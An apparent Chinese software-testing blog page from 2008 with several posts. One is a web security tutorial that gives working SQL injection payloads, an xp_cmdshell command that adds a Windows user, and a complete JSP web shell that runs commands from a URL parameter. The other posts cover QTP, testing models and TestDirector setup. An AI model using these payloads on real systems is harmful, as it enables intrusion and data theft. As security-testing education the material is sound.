将"测试"进行到底!~!

我的最新日志

  • About: Browser.back is not working (Favourites)

    2008-4-20

    I am working on QTP 9.5 and Ie 6.0.
    Browser("micclass:=Browser","creation time:= 1").Back is not working for me.
    I have seen other posts on this issue and tired other workarouunds also.I unistalled QTP and reistalled it. but still not able to get this issue solved.

    Any other suggestions please?

    ANSWER:

    First:

    Here is a workaround. Call the following method from your scrīpt

    Code:



    Public Sub bBack(gBrowser)

    Set bWin = Window("hwnd:="&gBrowser.GetROProperty("hwnd"))
    bWin.click 0,300

    Set WshShell = CreateObject("Wscrīpt.Shell")
    WshShell.AppActivate "Windows Internet Explorer"
    wait(1)
    WshShell.SendKeys "{BACKSPACE}"

    Set WshShell = nothing
    Set bWin = nothing

    End Sub
    Second:
    Ren, I am using IE 6.0 and QTP 9.5. I did run the following test which worked:

    Browser("micclass:=Browser").Navigate("http://www.yahoo.com")
    Browser("micclass:=Browser").back

    This returned it to the original page.

    Is is possible that you are using the "creationtime" incorrectly? If you have one browser open creationtime should be "creationtime:=0" and not "1" as you have it in your scrīpt. Hope this helps.
    (Statement: This Post come from sqaforums.com)
  • Web应用程序的常见安全攻击手段

    2008-4-19

    Web应用程序的常见安全问题:

     

    1.确定是否存在SQL攻击的可能性

    2.如果后端数据库是Microsoft Access,尝试在该服务器上使用XP_CMDSHELL来运行该命令

    3.尝试上传一些将由Web服务器解释的脚本,从而获取在这台服务器上运行命令的能力

    4.尝试枚举一些系统可能用于备份或日志记录目的的文件。对发现的每一份文件进行检查,看看其中有没有敏感信息

    5.尝试让Web服务器显示构成该站点脚本的源代码

    6.检查所有的Web页面,看是否存在可被操纵用于攻击这个站点的隐藏变量

     

    对于Web应用程序的常见安全攻击方法有:绕过授权、SQL注入、上传可执行内容、文件枚举、源代码泄露漏洞、HTTP中的隐藏字段等方法

     

    下面的内容为安全攻击方法,仅供参考:

    1. 绕过授权:

    比如:照片图库。一种常见懂得错误就是站点中真正得到登陆页面保护的部分仅仅是这个重新定向过程。因此,如果用户能猜出照片图库的URL,他就能够绕过这个登陆过程而查看这些页面。这类错误比你想象得还要常见。又例如,访问一个房地产网站,该网站要求付费才能访问更高级的列表。问题是他们使用了一个很容易推测的URL结构,因此你可以仅仅通过在URL中将数字加1就可以在不登陆的情况下枚举出所有的列表。

    同样的原理可用于很多地方,其中包括二进制形式的协议和应用程序。当你试图找出这类安全漏洞时,最好的方法就是有这个被攻击应用程序上的2个帐号,一个常规的和一个管理员的。首先,分别登陆这两个帐号,并注意那些提供给admin(管理员)而没有提供给常规用户的功能。然后你可以尝试通过常规帐号来执行管理员功能。可以以这样一个Web页面为例,在这个界面上管理员可以通过一个链接来关闭系统,尝试以常规用户登陆,并将那个链接粘贴到浏览器中。你可能会得到意外收获。

     

    2. SQL注入:

    A. SQL注入基础

    测试在数据库上执行该用户未被授权执行的操作。

    21 找出一个接受文本输入的输入字段

    22 测试这个输入是否被用作一个动态SQL语句的一部分

         a.查看文本输入是否被 作为代码对待

         b.查看这个SQL查询是否可被操纵。如果可以,那么被操纵

    23 测试是否可以发现一个SQL数据表。有没有返回一个数据列?

         a.查看这个数据列的信息是否可用来映射整个用户数据表的数据列

         b.查看是否能真正向这个用户数据表中添加数据

    24 测试是否能在这个SQL服务器上执行代码

         a.尝试在这个SQL服务器上执行XP_CMDSHELL

         b.尝试在这个Web服务器上创建一个新用户

     

    详细例子方法如下:

    1.一个ASP登陆脚本的动态select语句:

    sSQLQuery = “ select * from tblusers “ & _ “Where username=’ “ & sUsername & _ “ ‘and Password=’ “ & sPassword & “ ‘ ”

    假如,输入用户admin,密码password登陆,则为:

    Select * from tbluser  where  username=’ admin’ and password=’password’

    你可以看到其中使用了“(单引号)字符来分隔用户数据与SQL代码。如果你将“”用作用户名,那么查询为:

    Select * from tbluser  where username=’ ’ ’ and  password=’ ’

    2.执行登陆后将产生错误:因为用户名的输入导致“and password=”被当作了这个SQL查询中的字符串的一部分。为了利用这个错误,需要一种途径使得SQL解释器忽略跟随在你输入后的查询部分,在MSSql Server中,破折号字符串(--)将通知服务器忽略之后的语句。比如你使用admin登陆,稍作修改:admin’ -- ,则查询如下:

    Select * from tbluser where  username=’admin’ --’ and password=’password’

    则查询结果只返回针对admin的数据记录,避免了password的验证。

    3.假如你不知道存在的合法用户名,则可以在用户输入框里输入:’ or 1=1 -- 。那么可以执行攻击的一个变种。则查询为:

    Select * from tbluser  where username=’ ’ or 1=1 -- ’and password=’password’

    因为1=1总是为真,所以SQL服务器将返回所有用户的所有数据

     

    B. 数据库模式探索

       在前面的攻击手段中使用单引号产生的错误信息中,可获得有效的数据列名称password。下面在文本框中输入:test’ group by(password);-- ,查询产生错误信息,从里面可获取相关的数据表名称tbluser,与数据表字段name

       接着继续探索,并通过上面的列name来分组:test’ group by(name);-- 。探索可得到其他数据列信息lastloggedin,继续发送:test’ group by(lastloggedin);-- 。返回的错误信息返回到了name地方。因此可以猜测数据表存在三个数据列,而且可以通过Union Select来确认这个判断,如果参数数量不正确,将返回一个错误信息。

       探索:test’ Union select name,password,lastloggedin from tblusers;--

       要探索一个数据列的数据类型,可以使用另一个SQL函数COMPUTE SUM

    Test’ compute Sum(name);-- ,可从页面返回信息中获取数据列的类型。

       当确定好所有的数据列的类型与数量后,你就能向这个记录系统用户的数据表中添加数据了:

       Test’; insert into tbluser(name, password, lastloggedin) values(‘root’, ‘123456’,’ ’);--

     

    C.在SQL服务器上执行命令

       依靠所使用的SQL服务器,可以直接在数据库应用程序所在的服务器上执行命令。在MS SQL SERVER中,可以通过扩展存储过程来执行这种命令。这种功能的目的是允许数据库应用程序底层操作系统来执行某些服务。

    你尝试在数据库服务器上创建一个新的用户。MS SQL SERVER中最有意思的扩展存储过程之一就是master .. xp_cmdshell ,它允许SQL SERVERWindows shell(命令解释程序)传递命令。例如这样一条命令:master .. xp_cmdshell ' 这条命令将在此服务器上添加一个新用户,该用户的用户名是luke,密码是secret

       在登陆页面的用户字段中输入:’;exec master .. xp_cmdshell ‘net user luke secret/add ‘;-- 。这将构成下面的查询:

    Select * from tbluser where username=’ ’;exec master .. xp_cmdshell ‘net user luke secret /add’-- and password=’secret’

    上面命令执行成功后,你就可以执行下面的操作:

    ‘;exec master .. xp_cmdshell ‘dir c:\>c:\Inetpub\wwwroot\dir_listing.txt

    这条语句将在Web根目录下创建一个目录列表

     

    3. HTTP中的隐藏字段

    检查HTTP中的隐藏字段。检查用于存储和发送状态信息的隐藏变量。

    几年前,人们通常在Web页面上的隐藏变量中为垢污车程序存储像价格这个的敏感信息。比如一个隐藏变量来存储进行销售的小商品价格:

    使用工具WebScarab找出页面中的隐藏变量,比如找出单价变量price10,设置WebScarab以允许对Web页面中的隐藏变量进行编辑,将price10改为1

    这类攻击基本上是这样一类问题:尝试找出应用程序处理输入的方式,而后更改这个输入数据,从而利用该应用程序。明显的例子如:更改购物车中的价格、在存储用户专用信息的系统中更改用户名或者更改任何你认为能对数据和向用户发送进行控制的变量。

    (注: 具体的WebScarab工具使用方法这里就不陈述拉)

     

    4. 源代码泄露漏洞

    在使用下面的描述,来验证源代码会不会被泄露:

    1.  对于Windows 平台上的WebSphere,如果你将页面URL中的.jsp后缀改为.JSP,将会返回该文件的源代码

    2.  MacOS X上运行的Web服务器,且数据取自HFS+文件系统。请求文件的资源分支会暴露敏感信息,特别是在Web服务器拒绝对文件直接访问的时候尤为严重。当服务器执行关于PHPmod_perl以及JSP文件的服务器端解释时,通过数据分支路径请求文件将返回脚本的源代码。其中可能会包含敏感信息,比如数据库身份验证信息、文件系统路径或者有专利权的应用程序逻辑

    例子:

    1.  Windows上运行的WebSphere中出现这种漏洞的一个简单例子,如果你将页面.jsp改成.JSP,访问将会返回该文件的源代码。发生这种情况的原因是WebSphere处理文件的时候区分大小写,而Windows不区分大小写。

    2.  运行ApacheOS X服务器上,可以请求资源分支的数据部分而获得文件的内容(在Macintosh文件系统中,文件实际上有两个部分: 元数据和数据。)Apple公司的HFSHFS+文件系统对于每一个文件都有两个分离的数据流,分别作为“数据分支(data fork)”和资源分支(resource fork)来引用。

    MacOsx 10.2及以后的版本中,对于给定的文件,通过在传递给open(2)系统调用的文件路径之后分别附加/..namefork/data 或者/..namefork rsrc,也可以打开文件的数据分支和资源分支。在以前的版本中,可通过附加专用路径名/._Fork/data/._Fork/rsrc来处理。如一个PHP应用程序,在其访问路径http://localhost/fortune.php后加上 /..namefork/data ,可以返回这个页面的源代码。

     

    5. 上传可执行内容

    测试是否可以上传可执行代码(ASP/PHP/bat)

    a.  查看你是否能够控制写入文件的哪个目录

    b.  构造要运行的代码,并将其放在应用程序将会搜索到的目录中

       有时候,被攻击的应用程序中没有攻击者想要的功能,所以,他就必须自己来添加功能。只要在Web应用程序中使用与这个应用程序相同的编程语言添加自己的代码,攻击者就可以达到目的。向Web应用程序中添加功能实际做起来要比想象中容易。你只需要将你的代码放在一个目录下,而整个目录正是Web服务器从其中执行代码的那个目录。在本例中,这段代码使用JSP编写,并允许通过一个Web浏览器,使用execute.jsp来传递命令。示例如:http://www.victim.com/cgi-bin/execute.jsp?cmd=dir

    <% String cmd=request.getParameter(“cmd”);

       Out,println(“your command: ”+cmd+ “”);

    Process p=Runtime.getRuntime().exec(cmd)

    Java.io.InputStream is = p.getInputStream();

    Java.io InputStream eis = p.getErrorStream();

    Int c;

    Out.println(“Results:\n”);

    While((c=is.read())!=-1)

    {

      Out.print((char) c);

    }

    Out.println(“\n”);

    Out.println(“Errors:\n”);

    While((c=eis.read())!=-1)

    {

      Out.print((char) c);

    }

    Out.println(“\n”);%>

     

    这种攻击并不局限于解释型代码或者局限于Web应用程序。通过某些动态加载代码,通过可以实现注入功能。最常见方法就是使用插件和DLL

     

    6. 文件枚举

    检查你可能猜出的文件的类型,这将会为你提供有关系统的跟多信息。现给出一些要寻找的文件类型:.bak.backup~.orig.tmp.temp.log.old#filename# 。通过向文件名中附加一个空字节,检查是否能够从文件中获得信息。检查目标文件中是否有敏感数据。检查目标文件是否可被修改,从而用于攻击。

    第一,在文件名后附加一个空(null)字节

       如:http://www.example.com/login.jsp%  应用程序将这个文件类型与它所能执行的文件类型相比较,但由于这个额外的字节,匹配失败。当这个文件交给操作系统来打开的时候,操作系统会将这个“%  ”解释为文件名字字符传的结束标志。

    第二,通过程序来完成大多数文件枚举的乏味工作。比如知名度最高的Nikto,这个程序可在 http://www.cirt.net/code/nikto.shtml找到。但是找到的文件,必须你手工一一浏览,找取感兴趣的数据。

     

  • 软件测试W模型

    2008-4-16

    软件测试W模型:
    W
    模型从V模型演化过来,实际上开发是V,测试也是与此并行的V。基于“尽早地和不断地进行软件测试”的原则。在软件的需求和设计阶段的测试活动应遵循IEEE std1012-1998《软件验证和确认(V&V)》原则。

    一个基于V&V原理的W模型示意图如图:

     

     

     

  • 面试题----软件测试的80-20原则(转载ysnliy的Blog)

    2008-4-11

    80% 的软件缺陷常常生存在软件 20% 的空间里。这个原则告诉我们,如果你想使软件测试有效地话,记住常常光临其高危多发 “ 地段 ” 。在那里发现软件缺陷的可能性会大的多。这一原则对于软件测试人员提高测试效率及缺陷发现率有着重大的意义。聪明的测试人员会根据这个原则很快找出较多的缺陷而愚蠢的测试人员却仍在漫无目的地到处搜寻。

    80-20 原则的另外一种情况是,我们在系统分析、系统设计、系统实现阶段的复审,测试工作中能够发现和避免 80% 的软件缺陷,此后的系统测试能够帮助我们找出剩余缺陷中的 80% ,最后的 5% 的软件缺陷可能只有在系统交付使用后用户经过大范围、长时间使用后才会曝露出来。因为软件测试只能够保证尽可能多地发现软件缺陷,却无法保证能够发现所有的软件缺陷。

    80-20 原则还能反映到软件测试的自动化方面上来,实践证明 80% 的软件缺陷可以借助人工测试而发现, 20% 的软件缺陷可以借助自动化测试能够得以发现。由于这二者间具有交叉的部分,因此尚有 5% 左右的软件缺陷需要通过其他方式进行发现和修正。

    为效益而测试

    为什么我们要实施软件测试,是为了提高项目的质量效益最终以提高项目的总体效益。为此我们不难得出我们在实施软件测试应该掌握的度。软件测试应该在软件测试成本和软件质量效益两者间找到一个平衡点。这个平衡点就是我们在实施软件测试时应该遵守的度。单方面的追求都必然损害软件测试存在的价值和意义。一般说来,在软件测试中我们应该尽量地保持软件测试简单性,切勿将软件测试过度复杂化,拿物理学家爱因斯坦的话说就是: Keep it simple but not too simple 。

    缺陷的必然性

    软件测试中,由于错误的关联性,并不是所有的软件缺陷都能够得以修复。某些软件缺陷虽然能够得以修复但在修复的过程中我们会难免引入新的软件缺陷。很多软件缺陷之间是相互矛盾的,一个矛盾的消失必然会引发另外一个矛盾的产生。比如我们在解决通用性的缺陷后往往会带来执行效率上的缺陷。更何况在缺陷的修复过程中,我们常常还会受时间、成本等方面的限制因此无法有效、完整地修复所有的软件缺陷。因此评估软件缺陷的重要度、影响范围,选择一个折中的方案或是从非软件的因素(比如提升硬件性能)考虑软件缺陷成为我们在面对软件缺陷时一个必须直面的事实。

    软件测试必须有预期结果

    没有预期结果的测试是不可理喻的。软件缺陷是经过对比而得出来的。这正如没有标准无法进行度量一样。如果我们事先不知道或是无法肯定预期的结果,我们必然无法了解测试正确性。这很容易然人感觉如盲人摸象一般,不少测试人员常常凭借自身的感觉去评判软件缺陷的发生,其结果往往是把似是而非的东西作为正确的结果来判断,因此常常出现误测的现象。

    软件测试的意义 - 事后分析 (个人觉得这一点非常重要)

    软件测试的目的单单是发现缺陷这么简单吗?如果是 “ 是 ” 的话,我敢保证,类似的软件缺陷在下一次新项目的软件测试中还会发生。古语说得好, “ 不知道历史的人必然会重蹈覆辙 ” 。没有对软件测试结果进行认真的分析,我们就无法了解缺陷发生的原因和应对措施,结果是我们不得不耗费的大量的人力和物力来再次查找软件缺陷。很可惜,目前大多测试团队都没有意识到这一点,测试报告中缺乏测试结果分析这一环节。

    结论:

    软件测试是一个需要 “ 自觉 ” 的过程,作为一个测试人员,遇事沉着,把持尺度,从根本上应对软件测试有着正确的认识,希望本文对读者对软件测试的认识有所帮助

  • 基于 IBM Rational Robot 的自动化功能测试框架--收藏

    2008-4-10

     

    基于 IBM Rational Robot 的自动化功能测试框架

    http://www.ibm.com/developerworks/cn/rational/r-chengw/index.html

  • 邮件自动发送配置详细步骤及注意重点-TD

    2008-4-09

    邮件自动发送配置详细步骤及注意重点

    前提条件:项目已创建,

    环境:TD版本:TD8.0sp2

    数据库:Access

    OS:XP

    邮件服务器:公司内部邮件服务器

    该方法同样适用于TD版本为8.0SP1,数据库为SQL SERVER 2000, OS2003 SERVER

    配置步骤

    1.      在后台管理(site administrator)td servers,邮件协议采用smtp,邮件服务器填写本公司的邮件服务器的ip(192.168.10.1)或域名,这一步在安装td时也可以直接填写;

    2.      在后台管理(site administrator)users,添加参与项目的所有人员,注意一定要填写邮件地址,该邮件地址就是公司网络管理员分配给你的邮件地址;

    3.      在后台管理(site administrator)projects,选择一个需要自动发送邮件的项目,在右边找到 send defect emails automatically 前的选框,打上勾就可以了;

    4.      在后台管理(site administrator)site config,mail_interval字段的值改为0,这样做的目的是,当缺陷发生变化时,能够立即发送邮件,到此后台管理的配置完成了;

    5.      接下来是在自定义(customize)中的配置, 选择一个需要自动发送邮件的项目,输入管理员密码,进入自定义配置页;

    6.      选择chang user properties,填入admin的全名和email,或者只添email,这里的可以填写成用户名部分为admin,服务器部分必须与之前添加用户时所给用户填写的email的服务器部分一致;

    7.      选择set up users,将属于该项目的用户添加进来,一并检查每个用户的邮箱是否正确;

    8.      选择configure mail,选择邮件自动发送的触发字段,意思就是当某个字段发生变化,就自动发送邮件.比如当缺陷的状态改变时,邮件就开始自动发送.那就把状态这个字段从左边的字段中选到右边来;

    9.      选择configure mail,设置接收邮件的过滤条件,它和上一步有联系,每个条件之间是与的关系,比如前面设置了状态改变时,就自动发送邮件,但是liuc这个人只想接收状态为fix的缺陷,就可以在缺陷字段那儿只填写fix,这样一来其他状态的缺陷就不会发送到liuc的邮箱中;

    10.  选择set traceability notification,把所有框框都打上勾.到此自定义中的配置就完成了,这儿的重点是configure mail部分的配置.

    注意重点

    1.        创建项目时名字一定要是英文的,不然就自动发不了邮件,如果已经写成了中文也不要紧,用重命名的方式改过来就ok(老外的东西在支持中文方面就是有缺陷,怪只能怪咱自己太落后);

    2.        邮件服务器的测试,只要手动发送邮件,能够成功收到,就说明邮件服务器是没有问题的,如果这时还不能实现邮件自动发送,只能说明其他配置是有问题的,与邮件服务器没有关系;

    3.        在自定义配置页面中,admin的邮箱一定要填,具体填写方法已在步骤中的第六条中说明了;

    4.        检查每一个用户的邮箱是否完全写正确了,这一步非常重要,一定要检查,自己就曾发生过这样的事,因一名用户的邮箱写错了而导致不能自动发送邮件,为此而付出了半天的时间;

    5.        据自己不完全统计,邮件自动发送到接收的时间最快不低于两分钟,